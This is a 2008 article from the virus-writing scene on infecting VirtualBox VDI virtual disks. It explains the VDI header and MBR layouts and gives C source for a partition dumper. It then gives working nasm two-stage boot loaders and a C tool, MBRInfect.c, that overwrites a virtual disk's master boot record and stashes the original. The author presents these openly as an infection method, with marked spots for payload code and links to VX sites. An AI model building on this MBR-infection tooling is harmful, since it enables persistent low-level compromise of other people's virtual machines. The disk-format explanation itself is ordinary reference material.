WarGame
August 2008
The usage of virtualization technology is increasing more and more nowadays, mainly because of it's safe test environment and ability to run another system without the use of multi-boot. In this article we are going to speak about VirtualBox (http://www.virtualbox.org) virtual disks infection. Let's go!
Sorry for my poor english, it's not my main language.
A VDI file is a virtual disk of VirtualBox, it can be a dynamically expanded or a fixed-size. We will talk about fixed-size virtual hard disks, since they can be accessed in a simpler way.
This is the structure of a VDI:
------------------------------------ | VDIPREHEADER | ------------------------------------ | VDIHEADER | ------------------------------------ | DATA | ------------------------------------
We can get a lot of interesting information from VDIPREHEADER and VDIHEADER. This is the definition of VDIPREHEADER from VDICore.h:
typedef struct VDIPREHEADER { /** Just text info about image type, for eyes only. */ char szFileInfo[64]; /** The image signature (VDI_IMAGE_SIGNATURE). */ uint32_t u32Signature; /** The image version (VDI_IMAGE_VERSION). */ uint32_t u32Version; } VDIPREHEADER, *PVDIPREHEADER;
The most interesting member for us is u32Version, in fact it tells us, which version of VDIHEADER is used.
There are three version of VDIHEADER:
We will use only VDIHEADER1, because in my test virtual disk images it was the used header, but the things written here can be applied to the other two types too.
This is the definition of VDIHEADER1 from VDICore.h:
typedef struct VDIHEADER1 { /** Size of this structure in bytes. */ uint32_t cbHeader; /** The image type (VDI_IMAGE_TYPE_*). */ uint32_t u32Type; /** Image flags (VDI_IMAGE_FLAGS_*). */ uint32_t fFlags; /** Image comment. (UTF-8) */ char szComment[VDI_IMAGE_COMMENT_SIZE]; /** Offset of Blocks array from the begining of image file. * Should be sector-aligned for HDD access optimization. */ uint32_t offBlocks; /** Offset of image data from the begining of image file. * Should be sector-aligned for HDD access optimization. */ uint32_t offData; /** Legacy image geometry (previous code stored PCHS there). */ VDIDISKGEOMETRY LegacyGeometry; /** Was BIOS HDD translation mode, now unused. */ uint32_t u32Dummy; /** Size of disk (in bytes). */ uint64_t cbDisk; /** Block size. (For instance VDI_IMAGE_BLOCK_SIZE.) Should be a power of 2! */ uint32_t cbBlock; /** Size of additional service information of every data block. * Prepended before block data. May be 0. * Should be a power of 2 and sector-aligned for optimization reasons. */ uint32_t cbBlockExtra; /** Number of blocks. */ uint32_t cBlocks; /** Number of allocated blocks. */ uint32_t cBlocksAllocated; /** UUID of image. */ RTUUID uuidCreate; /** UUID of image's last modification. */ RTUUID uuidModify; /** Only for secondary images - UUID of previous image. */ RTUUID uuidLinkage; /** Only for secondary images - UUID of previous image's last modification. */ RTUUID uuidParentModify; } VDIHEADER1, *PVDIHEADER1;
Looking at the structure's members we can see many interesting fields, but for our scope the most interesting one is OffData, it tells us where the "real" disk part begins. Everything done on the disk part must be relative to OffData, for example, if we want to access the sector 456 of the disk we should do something like:
... seek_vdi(OffData+456*512); access_sector(); ...
We must check the u32Type member too, it tells us if virtual disk is fixed-size or dynamically expanded. Here is shown the use of OffData:
------------------------------------ | VDIPREHEADER | ------------------------------------ | VDIHEADER | ------------------------------------ | DATA | | .... | | OffData -> MBR | ------------------------------------
In few words, if we'll seek from the beginning of the VDI files for OffData bytes, we'll get the location of the Master Boot Record (the sector 1 which contains a lot of interesting infos about the logic organization of the disk).
We understood how to get the location of the sector 1 (MBR), now will see its structure:
------------------------------------------ 0 | | \ | CODE AREA | The first 446bytes contains | | / the boot code ------------------------------------------ 446 | | \ The partition table occupies | PARTITIONS TABLE | 64 bytes, it is made of four | | / entries of 16 bytes ------------------------------------------ 510 | | \ The boot record signature | BOOT RECORD SIGNATURE | occupies the last 2 bytes, it | | / must be set to AA55h ------------------------------------------ 512
The size of MBR or any other sector is 512 bytes (this is the standard sector size for normal x86-based PC). The partitions table is made in this way:
----------------------------------------- | PARTITION ENTRY 1 | 16 bytes ----------------------------------------- | PARTITION ENTRY 2 | 16 bytes ----------------------------------------- | PARTITION ENTRY 3 | 16 bytes ----------------------------------------- | PARTITION ENTRY 4 | 16 bytes -----------------------------------------
Each entry occupies 16 bytes, here the their structure:
-------------------------------------- 0 | | \ If this field is set to 80h is the | BOOT INDICATOR | partition is active, if it's not, | | / it's set to 00h -------------------------------------- 1 | | \ This field tells us the location of | STARTING CHS VALUE | the first sector of the partition | | / if it's within first 1024 cylinders -------------------------------------- 4 | | \ Partition type (the file system of | PARTITION TYPE | the partition (FAT16, FAT32, NTFS, | | / EXT2, EXT3, et cetera)) -------------------------------------- 5 | | \ This field tells us location of the | ENDING CHS VALUE | last sector of partition if it's | | / within first 1024 cylinders -------------------------------------- 8 | | \ This field tells us the first sector | STARTING SECTOR | of partition, counting from the | | / sector 0 (using 4 bytes) -------------------------------------- 12 | | \ This field tells us the size of | PARTITION SIZE IN SECTORS | partition in sectors (using 4 bytes) | | / -------------------------------------- 16
Now we are able to find the MBR and getting from it the infos that we need about the logic layout of our virtual disk. The next step will be to find a way to access such partitions or to use a better term, "mounting" them.
I tested this tool only on my ubuntu linux system.
/* DumpVDI.c */ /* A tool to dump partitions table inside a virtual disk (vdi file) by WarGame/DoomRiderz */ #include <stdio.h> #include <string.h> /* from VDICore.h and VBoxHDD-new.h*/ typedef unsigned int uint32_t; typedef unsigned long long uint64_t; typedef struct VDIDISKGEOMETRY { /** Cylinders. */ uint32_t cCylinders; /** Heads. */ uint32_t cHeads; /** Sectors per track. */ uint32_t cSectors; /** Sector size. (bytes per sector) */ uint32_t cbSector; } VDIDISKGEOMETRY, *PVDIDISKGEOMETRY; typedef struct VDIPREHEADER { /** Just text info about image type, for eyes only. */ char szFileInfo[64]; /** The image signature (VDI_IMAGE_SIGNATURE). */ uint32_t u32Signature; /** The image version (VDI_IMAGE_VERSION). */ uint32_t u32Version; } VDIPREHEADER, *PVDIPREHEADER; #define VDI_IMAGE_COMMENT_SIZE 256 typedef struct VDIHEADER1 { /** Size of this structure in bytes. */ uint32_t cbHeader; /** The image type (VDI_IMAGE_TYPE_*). */ uint32_t u32Type; /** Image flags (VDI_IMAGE_FLAGS_*). */ uint32_t fFlags; /** Image comment. (UTF-8) */ char szComment[VDI_IMAGE_COMMENT_SIZE]; /** Offset of Blocks array from the begining of image file. * Should be sector-aligned for HDD access optimization. */ uint32_t offBlocks; /** Offset of image data from the begining of image file. * Should be sector-aligned for HDD access optimization. */ uint32_t offData; /** Legacy image geometry (previous code stored PCHS there). */ VDIDISKGEOMETRY LegacyGeometry; /** Was BIOS HDD translation mode, now unused. */ uint32_t u32Dummy; /** Size of disk (in bytes). */ uint64_t cbDisk; /** Block size. (For instance VDI_IMAGE_BLOCK_SIZE.) Should be a power of 2! */ uint32_t cbBlock; /** Size of additional service information of every data block. * Prepended before block data. May be 0. * Should be a power of 2 and sector-aligned for optimization reasons. */ uint32_t cbBlockExtra; /** Number of blocks. */ uint32_t cBlocks; /** Number of allocated blocks. */ uint32_t cBlocksAllocated; /** UUID of image. */ char uuidCreate[16]; /** UUID of image's last modification. */ char uuidModify[16]; /** Only for secondary images - UUID of previous image. */ char uuidLinkage[16]; /** Only for secondary images - UUID of previous image's last modification. */ char uuidParentModify[16]; } VDIHEADER1, *PVDIHEADER1; /** Get VDI major version from combined version. */ #define VDI_GET_VERSION_MAJOR(uVer) ((uVer) >> 16) /** Get VDI minor version from combined version. */ #define VDI_GET_VERSION_MINOR(uVer) ((uVer) & 0xffff) typedef struct MBR /* my definition for master boot record */ { char boot_code[446]; unsigned char partitions[4][16]; unsigned short signature; }MBR; /****************/ void ExtractPartition(char *f,int offdata,int part_num,int start_sect,int size_sect) { FILE *vdi = NULL,*part = NULL; char ex_name[128],buf[512]; unsigned int size = size_sect*512; if((vdi = fopen(f,"r")) == NULL) { printf("can't open %s\n",f); return; } sprintf(ex_name,"partition_%d____%d_%d.raw",part_num,start_sect,size_sect); if((part = fopen(ex_name,"a+")) == NULL) { fclose(vdi); printf("can't open %s\n",ex_name); return; } fseek(vdi,offdata,SEEK_SET); fseek(vdi,start_sect*512,SEEK_CUR); printf("Extracting...\n"); while(size > 0) { fread(buf,512,1,vdi); fwrite(buf,512,1,part); size -= 512; } fclose(vdi); fclose(part); printf("Extraction done to %s\n",ex_name); } void DumpVDIPartitionTable(char *f, int extract) { FILE *fp = fopen(f,"r"); VDIPREHEADER pre; VDIHEADER1 h1; MBR mbr; int offdata = 0,p_cnt,sect_after_mbr,sect_in_partition; if(fp == NULL) { printf("can't open %s\n",f); } else { fread(&pre,sizeof(VDIPREHEADER),1,fp); if(VDI_GET_VERSION_MAJOR(pre.u32Version) == 1 && VDI_GET_VERSION_MINOR(pre.u32Version) == 1) { if(h1.u32Type == 1) { printf("%s is not a fixed size disk\n",f); } else { fread(&h1,sizeof(VDIHEADER1),1,fp); if(h1.offData != 0) { printf("Offdata (%s) -> %d\n",f,h1.offData); rewind(fp); fseek(fp,h1.offData,SEEK_SET); fread(&mbr,sizeof(MBR),1,fp); fclose(fp); printf("MBR signature -> 0x%x\n",mbr.signature); for(p_cnt = 0;p_cnt < 4;p_cnt++) { memcpy(§_after_mbr,mbr.partitions[p_cnt]+8,4); memcpy(§_in_partition,mbr.partitions[p_cnt]+12,4); printf("Partition #%d -> status: %10s - type: 0x%.2x - partition begins at sector: %9d - sectors in partition: %9d\n",p_cnt,(mbr.partitions[p_cnt][0] == 0x80) ? "bootable" : "not active",mbr.partitions[p_cnt][4],sect_after_mbr,sect_in_partition); if(extract) ExtractPartition(f,h1.offData,p_cnt,sect_after_mbr,sect_in_partition); } } else { printf("header and offdata unknown in %s\n",f); } } } else { printf("Header not supported in %s\n",f); } } } int main(int argc,char *argv[]) { int a_cnt,extract; if(argc == 1) { printf("Dump partitions table from VDI (virtual disk) files by WarGame/DoomRiderz\n"); printf("Usage: [-d | -e] <vdi file 1> <vdi file 2> ... <vdi file n> \n",argv[0]); printf("Options:\n"); printf("-d only print the partitions table on stdout\n"); printf("-e print the partitions table on stdout and extract the partitions one by one and write them on files\n"); return 1; } else { if(strcmp(argv[1],"-d") == 0) { extract = 0; } else if(strcmp(argv[1],"-e") == 0) { extract = 1; } else { printf("Invalid option\n"); return 1; } for(a_cnt = 2;a_cnt < argc;a_cnt++) DumpVDIPartitionTable(argv[a_cnt],extract); return 0; } }
Example output
wargame@wargame-desktop:~/my stuff/vdi$ sudo ./DumpVDI -d /root/.VirtualBox/VDI/xpsp0.vdi Offdata (/root/.VirtualBox/VDI/xpsp0.vdi) -> 13312 MBR signature -> 0xaa55 Partition #0 -> status: bootable - type: 0x07 - partition begins at sector: 63 - sectors in partition: 6322113 Partition #1 -> status: not active - type: 0x00 - partition begins at sector: 0 - sectors in partition: 0 Partition #2 -> status: not active - type: 0x00 - partition begins at sector: 0 - sectors in partition: 0 Partition #3 -> status: not active - type: 0x00 - partition begins at sector: 0 - sectors in partition: 0
The most simple way to infect a virtual disk requires only the mount command of linux, in fact it is able to access a lot of file systems using the drivers that the kernel offers. So, the infection process using this simple way is:
So, for example if we want to mount and infect the first ext3 partition (we assume that the first sector of this partition is the sector 63) of a virtual disk with an offData which equals to 13312, we would use this command:
sudo mount -t ext3 -o ro,loop,offset=45568 the_vdi_file.vdi /our_mount_point
Where 45568 is equal to 13312+63*512.
This way is fast and requires not so much code because the hard part is made by the mount command. But it has a big limitation: it is not portable. Infact if we do not have the mount command and the right privileges we can't mount and infect the virtual disk. Then windows does not offer such possibility because it can mount only a limited numbers of file systems (fat16,fat32,ntfs). We can use this way only in some limited circumstances. There is an other way but it would require to implement our file system drivers for our infector, so we could infect a vdi with no other external requirements.
There is an other good way to infect our virtual disk, we can infect the master boot record itself. The MBR infact is the place where it's located the code that make the OS boots up, if we take control of it we can own the system at very low level. At the DOS age, multipartite viruses were able to spread using floppies, in fact it could hook the interrupt 13h (this interrupt controls the access to disks) and so intercept every access to disk. So when a user booted his/her pc with the infected floppy the process could take place again. That was possible because the DOS didn't have any form of control for hardware access. The modern OSes like Windows NT, Unix (BSD, MacOS), GNU/Linux use their own interface made of device drivers to access the hardware layer and so that tech is not possible.
Note: Using this way we can infect variable sized virtual disk with no problems. In this article we will talk about backdooring the master boot record of the virtual disk. Our code in fact will not have the possibility to spread. Here we will use an example code that is made of two parts (written for nasm):
; loader.asm (the code located on the sector 1) ; the first stage of our loader ORG 7c00h BITS 16 Â jmp boot msg db 'boot record infection on virtual disk! Press any key to continue',13,10,0 msg1 db 'failed to read the loader1!',13,10,0 boot: ; setup the stack xor ax,ax mov ds,ax mov es,ax mov ss,ax mov sp,7c00h setup_writing: mov ah,0eh mov bx,0007 xor si,si print_msg: ; print our msg on the screen mov al, [msg+si] test al,al jz wait_key int 10h inc si jmp print_msg wait_key: mov ah,00h int 16h ;; here we could put other code that performs other actions depending of the victim OS load_loader1: mov dl,80h xor ax,ax int 13h ; reset drive mov es,ax ; read at mov bx,1000H ; 0000:1000 mov ah,02h ; read function mov al,01h ; read only one sector mov cx,02h ; sector 2 mov dh,0 mov dl,80h int 13h ; read the sector jc failed_to_read jump_to_loader1: db 0Eah ; jump at dw 1000h ; memory location dw 0 ; 0000:1000h failed_to_read: mov ah,0eh mov bx,0007 xor si,si p: mov al, [msg1+si] test al,al jz exit int 10h inc si jmp p exit: ret times 510-($-$$) db 0 dw 0aa55h
; loader1.asm (the code located on the sector 2) ; the second stage of the loader ORG 1000h BITS 16 jmp boot msg1 db 'failed to read the original boot sector!',13,10,0 boot: ; setup the stack xor ax,ax mov ds,ax mov es,ax mov ss,ax mov sp,1000h ;; here we could put other code that performs other actions depending of the victim OS load_original_mbr: mov dl,80h xor ax,ax int 13h ; reset drive mov es,ax ; read at mov bx,7c00H ; 0000:7c00 mov ah,02h ; read function mov al,01h ; read only one sector mov cx,03h ; sector 3 mov dh,0 mov dl,80h int 13h ; read the sector jc failed_to_read jump_to_original_mbr: ; here the original mbr gets the control db 0Eah ; jump at dw 7c00h ; memory location dw 0 ; 0000:7c00h failed_to_read: mov ah,0eh mov bx,0007 xor si,si p: mov al, [msg1+si] test al,al jz exit int 10h inc si jmp p exit: ret times 510-($-$$) db 0 dw 0aa55h ; this is useless here
My example code simply acts like a "proxy", infact after interacting a bit with the user it passes the control to the true loader. For more look at BOOT KIT (http://www.rootkit.com/project.php?id=34). Here a simple tool to infect a VDI with my loader:
/* MBRInfect.c */ /* A simple tool to infect the MBR of a virtual disk by WarGame/DoomRiderz */ #include <stdio.h> #include <string.h> main(int argc,char *argv[]) { FILE *in = NULL,*in1 = NULL,*out = NULL; char buf[512]; char buf1[512]; char original[512]; if(argv[1] == NULL || argv[2] == NULL) { printf("Usage: %s <vdi file> <offdata of the vdi>\n",argv[0]); return -1; } if((in = fopen("loader.bin","r")) == NULL) { printf("can't open loader.bin\n"); return -1; } if((out = fopen(argv[1],"r+")) == NULL) { printf("can't open %s\n",argv[1]); return -1; } if((in1 = fopen("loader1.bin","r")) == NULL) { printf("can't open loader1.bin\n"); return -1; } fread(buf,512,1,in); fread(buf1,512,1,in1); fseek(out,atoi(argv[2]),SEEK_SET); /* seek to MBR pointed by offData */ fread(original,512,1,out); /* read the original mbr */ fseek(out,-512,SEEK_CUR); memcpy(buf+446,original+446,64); /* put the partition table in our loader */ fwrite(buf,512,1,out); /* write loader (sector 1) */ fwrite(buf1,512,1,out); /* write loader 1 (sector 2) */ fwrite(original,512,1,out); /* write original mbr (sector 3) */ fclose(in); fclose(out); fclose(in1); printf("Done\n"); return 0; }
greetz to all people on #eof-project, #virus, #vxcode @ undernet
References:
For more info, visit: http://vx.netlux.org/wargamevx or send me a mail to: wargame89@yahoo.it
Files for this article:
[Back to index] [Comments (0)]